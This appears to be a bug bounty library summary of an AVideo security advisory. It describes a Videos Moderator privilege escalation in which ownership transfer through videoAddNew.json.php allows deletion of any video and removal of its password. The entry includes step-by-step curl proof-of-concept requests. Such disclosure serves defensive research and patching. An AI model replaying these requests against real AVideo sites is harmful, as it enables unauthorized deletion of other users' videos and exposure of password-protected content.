# AVideo: Video Moderator Privilege Escalation via Ownership Transfer Enables Arbitrary Video Deletion

Videos Moderator permission in AVideo gates full video editing, letting a moderator transfer ownership of any video to themselves then delete it.

- Payout: Research
- Severity: high
- Program: AVideo
- Found by: offset
- Disclosed: 2026-03-25
- CVE: CVE-2026-33650
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-8x77-f38v-4m5j
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-8x77-f38v-4m5j
- Tags: area:web domain:web impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:php technique:chained technique:source-review vuln:access-control vuln:auth-bypass vuln:business-logic vuln:privilege-escalation

**Target:** PHP web app JSON endpoints (videoAddNew.json.php, videoDelete.json.php)
**Root cause:** Permissions::canModerateVideos() is used as an authorization gate for full video editing and ownership transfer in videoAddNew.json.php, while videoDelete.json.php/userCanManageVideo() only check canAdminVideos() or ownership, creating an asymmetric boundary.
**Steps:**
1. Authenticate as a user holding PERMISSION_INACTIVATEVIDEOS (Videos Moderator, ID 11).
2. POST to `/objects/videoAddNew.json.php` with `id=TARGET_VIDEO_ID&users_id=ATTACKER_USER_ID&title=unchanged` to transfer ownership (canModerateVideos bypass at line 222).
3. POST to `/objects/videoDelete.json.php` with `id[]=TARGET_VIDEO_ID`; ownership check now passes and video is deleted.
4. Optionally POST `id=TARGET_VIDEO_ID&video_password=&title=unchanged` to strip password protection.
**How found:** Code review comparing the documented scope of PERMISSION_INACTIVATEVIDEOS against every use of canModerateVideos(), spotting the asymmetry with canAdminVideos()/userCanManageVideo() in the delete path.
**Exploitation:** Moderator uses the edit gate bypass to reassign any video's owner to themselves, then invokes the delete endpoint which only validates ownership, achieving deletion of admin-owned content; same path strips passwords and paid flags.
**Escalation:** Two-step chain: ownership transfer converts a limited moderator into the recorded owner, satisfying the stricter delete authorization check.
**Insight:** When a low-privilege permission helper is reused as a gate, grep every call site and compare against the stricter checks on destructive endpoints; ownership-mutating endpoints can launder a weak permission into a strong one.

## Proof of concept (copied exactly from the original report)

**Ownership transfer request via videoAddNew**

```
curl -s -b cookies.txt -X POST \
  'http://localhost/objects/videoAddNew.json.php' \
  -d "id=TARGET_VIDEO_ID&users_id=ATTACKER_USER_ID&title=unchanged"

Expected response: `{"status":true, ...}` — ownership is now transferred to the attacker.
```

**Delete request via videoDelete**

```
curl -s -b cookies.txt -X POST \
  'http://localhost/objects/videoDelete.json.php' \
  -d "id[]=TARGET_VIDEO_ID"

Expected response: `{"error":false, ...}` — video is deleted. The owner check at line 22 passes because the moderator is now the recorded owner.
```

**Password removal request via videoAddNew**

```
curl -s -b cookies.txt -X POST \
  'http://localhost/objects/videoAddNew.json.php' \
  -d "id=TARGET_VIDEO_ID&video_password=&title=unchanged"

This removes the video password, granting the moderator (and everyone) access to previously protected content.
```